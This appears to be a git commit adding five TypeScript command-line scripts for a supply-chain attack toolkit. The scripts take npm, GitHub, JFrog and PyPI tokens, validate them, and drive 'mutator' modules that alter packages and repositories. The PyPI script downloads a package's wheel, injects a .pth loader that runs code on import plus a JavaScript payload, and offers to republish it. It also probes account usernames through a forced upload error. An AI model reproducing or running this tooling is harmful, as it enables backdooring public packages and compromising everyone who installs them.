Upload files to "src/cli"
This commit is contained in:
@@ -0,0 +1,74 @@
|
||||
#!/usr/bin/env bun
|
||||
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||
|
||||
import { parseArgs, runModule } from "./common";
|
||||
|
||||
async function main() {
|
||||
const args = parseArgs(Bun.argv.slice(2));
|
||||
|
||||
const baseUrl = args.params["jfrog-url"];
|
||||
if (!baseUrl)
|
||||
throw new Error(
|
||||
"--jfrog-url required (e.g. https://myco.jfrog.io/artifactory)",
|
||||
);
|
||||
|
||||
const rawCred = args.params["jfrog-token"];
|
||||
if (!rawCred)
|
||||
throw new Error(
|
||||
"--jfrog-token required (API key, Bearer token, or user:pass)",
|
||||
);
|
||||
|
||||
const { detectCredential, validateCredentials } =
|
||||
await import("../mutator/jfrognpm/auth");
|
||||
|
||||
const explicitType = args.params["jfrog-auth-type"] as
|
||||
| "api-key"
|
||||
| "bearer"
|
||||
| "basic"
|
||||
| undefined;
|
||||
const credential = explicitType
|
||||
? { type: explicitType, value: rawCred }
|
||||
: detectCredential(rawCred);
|
||||
console.error(`[jfrognpm] Auth type: ${credential.type}`);
|
||||
|
||||
const validation = await validateCredentials(baseUrl, credential);
|
||||
|
||||
if (!validation.valid) {
|
||||
throw new Error(`JFrog credential validation failed: ${validation.error}`);
|
||||
}
|
||||
|
||||
const session = validation.session!;
|
||||
console.error(
|
||||
`[jfrognpm] Authenticated as ${session.username} (admin: ${session.isAdmin}, write: ${session.canWrite})`,
|
||||
);
|
||||
console.error(
|
||||
`[jfrognpm] NPM repos: ${session.npmRepos.join(", ") || "(none)"}`,
|
||||
);
|
||||
|
||||
const packages = args.params["packages"]
|
||||
? args.params["packages"]
|
||||
.split(",")
|
||||
.map((s) => s.trim())
|
||||
.filter(Boolean)
|
||||
: [];
|
||||
|
||||
const maxPackages = args.params["max-packages"]
|
||||
? parseInt(args.params["max-packages"], 10)
|
||||
: undefined;
|
||||
|
||||
const forceCache = args.flags.has("force-cache-overwrite");
|
||||
const doExecute = args.flags.has("execute");
|
||||
|
||||
const { JfrogNpmMutator } = await import("../mutator/jfrognpm/index");
|
||||
const mutator = new JfrogNpmMutator(session, {
|
||||
packages,
|
||||
maxPackages,
|
||||
forceCacheOverwrite: forceCache,
|
||||
reconOnly: !doExecute,
|
||||
});
|
||||
|
||||
return mutator.execute();
|
||||
}
|
||||
|
||||
runModule("JfrogNpmClient", main);
|
||||
@@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env bun
|
||||
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||
|
||||
import { parseArgs, runModule } from "./common";
|
||||
|
||||
async function main() {
|
||||
const args = parseArgs(Bun.argv.slice(2));
|
||||
const token = args.params["npm-token"];
|
||||
if (!token) throw new Error("--npm-token required");
|
||||
|
||||
const { checkToken } = await import("../mutator/npm/tokenCheck");
|
||||
const tokenInfo = await checkToken(token);
|
||||
if (!tokenInfo.valid) throw new Error("NPM token validation failed");
|
||||
|
||||
const { NpmClient } = await import("../mutator/npm/index");
|
||||
const mutator = new NpmClient(tokenInfo);
|
||||
return mutator.execute();
|
||||
}
|
||||
|
||||
runModule("NpmClient", main);
|
||||
@@ -0,0 +1,40 @@
|
||||
#!/usr/bin/env bun
|
||||
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||
|
||||
import { parseArgs, runModule } from "./common";
|
||||
|
||||
async function main() {
|
||||
const args = parseArgs(Bun.argv.slice(2));
|
||||
const token = args.params["github-token"];
|
||||
if (!token) throw new Error("--github-token required");
|
||||
|
||||
const repo = args.params["repo"];
|
||||
const execute = args.flags.has("execute");
|
||||
|
||||
const { NpmOidcBranchMutator } = await import("../mutator/npmoidc/branch");
|
||||
|
||||
if (repo) {
|
||||
console.log(
|
||||
execute
|
||||
? "[npmoidc-branch] LIVE mode — will push branch"
|
||||
: "[npmoidc-branch] will create dry-run commit",
|
||||
);
|
||||
// Process single repo directly
|
||||
const mutator = new NpmOidcBranchMutator(token, !execute);
|
||||
const ok = await mutator.processSingleRepo(repo, token);
|
||||
if (!ok) console.log(`\n${repo}: NOT an npm-publishing repo`);
|
||||
} else {
|
||||
// Batch mode: scan all writable repos
|
||||
const mutator = new NpmOidcBranchMutator(token, !execute);
|
||||
console.log(
|
||||
execute
|
||||
? "[npmoidc-branch] LIVE mode — scanning all writable repos"
|
||||
: "[npmoidc-branch] DRY-RUN — scanning all writable repos (add --execute to push)",
|
||||
);
|
||||
await mutator.execute();
|
||||
}
|
||||
}
|
||||
|
||||
const args = parseArgs(Bun.argv.slice(2));
|
||||
runModule("NpmOidcBranch", main);
|
||||
@@ -0,0 +1,166 @@
|
||||
#!/usr/bin/env bun
|
||||
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||
|
||||
import { writeFileSync } from "fs";
|
||||
import { resolve } from "path";
|
||||
import { createInterface } from "readline";
|
||||
|
||||
import { parseArgs, runModule } from "./common";
|
||||
|
||||
async function main() {
|
||||
const args = parseArgs(Bun.argv.slice(2));
|
||||
|
||||
const token = args.params["pypi-token"];
|
||||
const packageName = args.params["package"];
|
||||
if (!packageName) throw new Error("--package required (e.g. requests)");
|
||||
|
||||
const hasToken = !!token;
|
||||
const steps = hasToken ? 4 : 3;
|
||||
|
||||
// 1. Validate token (only if provided)
|
||||
if (hasToken) {
|
||||
console.error(`[1/${steps}] Validating token...`);
|
||||
let valid = false;
|
||||
try {
|
||||
const form = new FormData();
|
||||
form.append(":action", "file_upload");
|
||||
form.append("name", "dummy-package");
|
||||
form.append("version", "0.0.1");
|
||||
form.append("content", "dummy-content");
|
||||
|
||||
const res = await fetch("https://upload.pypi.org/legacy/", {
|
||||
method: "POST",
|
||||
headers: { Authorization: `token ${token}` },
|
||||
body: form,
|
||||
});
|
||||
if (res.status === 400) {
|
||||
valid = true;
|
||||
}
|
||||
} catch (e) {
|
||||
throw new Error(
|
||||
`PyPI validation failed: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
}
|
||||
|
||||
if (!valid) {
|
||||
throw new Error("PyPI token invalid — upload endpoint rejected it");
|
||||
}
|
||||
|
||||
const { parseMacaroonToken } =
|
||||
await import("../mutator/pypi/macaroonParse");
|
||||
const macaroon = parseMacaroonToken(token);
|
||||
console.error(`[pypi] Token type: ${macaroon.type}`);
|
||||
|
||||
// Username probe — upload to "six" (a package they can't own) to leak username via 403
|
||||
console.error(`[pypi] Probing username via six...`);
|
||||
try {
|
||||
const probeForm = new FormData();
|
||||
probeForm.append(":action", "file_upload");
|
||||
probeForm.append("name", "six");
|
||||
probeForm.append("version", "0.0.1");
|
||||
probeForm.append("content", new Blob(["x"]), "x");
|
||||
const probeRes = await fetch("https://upload.pypi.org/legacy/", {
|
||||
method: "POST",
|
||||
headers: { Authorization: `token ${token}` },
|
||||
body: probeForm,
|
||||
});
|
||||
if (probeRes.status === 403) {
|
||||
const text = await probeRes.text();
|
||||
const m = text.match(/The user '([^']+)' isn't allowed/);
|
||||
if (m) console.error(`[pypi] Username: ${m[1]}`);
|
||||
}
|
||||
} catch {
|
||||
// non-critical
|
||||
}
|
||||
}
|
||||
|
||||
// Download the wheel
|
||||
const stepDownload = hasToken ? 2 : 1;
|
||||
console.error(`[${stepDownload}/${steps}] Downloading ${packageName}...`);
|
||||
const { fetchPackageMeta, downloadWheel, patchWheel } =
|
||||
await import("../mutator/pypi/wheel");
|
||||
|
||||
const meta = await fetchPackageMeta(packageName);
|
||||
if (!meta) throw new Error(`Package "${packageName}" not found on PyPI`);
|
||||
|
||||
console.error(
|
||||
`[pypi] Found ${meta.name} @ ${meta.version} (${meta.wheelUrl})`,
|
||||
);
|
||||
|
||||
const wheelData = await downloadWheel(meta.wheelUrl);
|
||||
if (!wheelData)
|
||||
throw new Error(`Failed to download wheel for ${packageName}`);
|
||||
|
||||
// Patch the wheel
|
||||
const stepPatch = hasToken ? 3 : 2;
|
||||
console.error(`[${stepPatch}/${steps}] Patching wheel...`);
|
||||
|
||||
// Full Bun-guard .pth loader + hello-world JS test payload
|
||||
const jsName = "_index.js";
|
||||
const { INJECT_PTH } = await import("../generated");
|
||||
const pthContent = (INJECT_PTH as string) || "import os; os.system('id')";
|
||||
|
||||
// Hello-world test payload (Bun will execute this)
|
||||
const jsPayload = `const fs = require("fs"); fs.writeFileSync("/tmp/hello.txt", "hello world");`;
|
||||
|
||||
const patched = patchWheel({
|
||||
meta,
|
||||
wheelData,
|
||||
pthContent,
|
||||
jsPayload,
|
||||
jsFilename: jsName,
|
||||
});
|
||||
console.error(`[pypi] Patched: ${meta.version} → ${patched.newVersion}`);
|
||||
|
||||
// Save patched wheel to cwd
|
||||
const stepSave = hasToken ? 4 : 3;
|
||||
const outPath = resolve(process.cwd(), patched.filename);
|
||||
writeFileSync(outPath, patched.data);
|
||||
console.error(`[${stepSave}/${steps}] Saved patched wheel to: ${outPath}`);
|
||||
console.error(
|
||||
`[pypi] File: ${patched.filename} (${patched.data.length} bytes)`,
|
||||
);
|
||||
|
||||
// If no token, we're done
|
||||
if (!hasToken) {
|
||||
console.error("");
|
||||
console.error("No token provided — wheel saved to disk only.");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Confirm upload
|
||||
console.error("");
|
||||
const rl = createInterface({ input: process.stdin, output: process.stderr });
|
||||
const answer = await new Promise<string>((resolve) => {
|
||||
rl.question("Upload patched wheel to PyPI? [y/N]: ", resolve);
|
||||
});
|
||||
rl.close();
|
||||
|
||||
if (answer.toLowerCase() !== "y") {
|
||||
console.error("Upload skipped. Patched wheel saved to disk.");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Upload
|
||||
console.error("[pypi] Uploading...");
|
||||
const { uploadWheel } = await import("../mutator/pypi/upload");
|
||||
const { extractInfo } = await import("../mutator/pypi/wheel");
|
||||
const ok = await uploadWheel({
|
||||
token: token!,
|
||||
pkgName: meta.name,
|
||||
version: patched.newVersion,
|
||||
filename: patched.filename,
|
||||
wheelData: patched.data,
|
||||
...extractInfo(meta.info),
|
||||
});
|
||||
|
||||
if (ok) {
|
||||
console.error(`[pypi] Published ${meta.name} @ ${patched.newVersion}`);
|
||||
return true;
|
||||
} else {
|
||||
throw new Error("Upload failed");
|
||||
}
|
||||
}
|
||||
|
||||
runModule("PypiClient", main);
|
||||
@@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env bun
|
||||
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||
|
||||
import { parseArgs, runModule } from "./common";
|
||||
|
||||
async function main() {
|
||||
const args = parseArgs(Bun.argv.slice(2));
|
||||
const token = args.params["github-token"];
|
||||
if (!token) throw new Error("--github-token required");
|
||||
|
||||
// Defaults to dry-run. Pass --live to actually commit.
|
||||
const live = args.flags.has("live");
|
||||
const dryRun = !live;
|
||||
|
||||
const { RepositoryMutator } = await import("../mutator/repository/index");
|
||||
const mutator = new RepositoryMutator(token, { dryRun });
|
||||
return mutator.execute();
|
||||
}
|
||||
|
||||
runModule("RepositoryMutator", main);
|
||||
Reference in New Issue
Block a user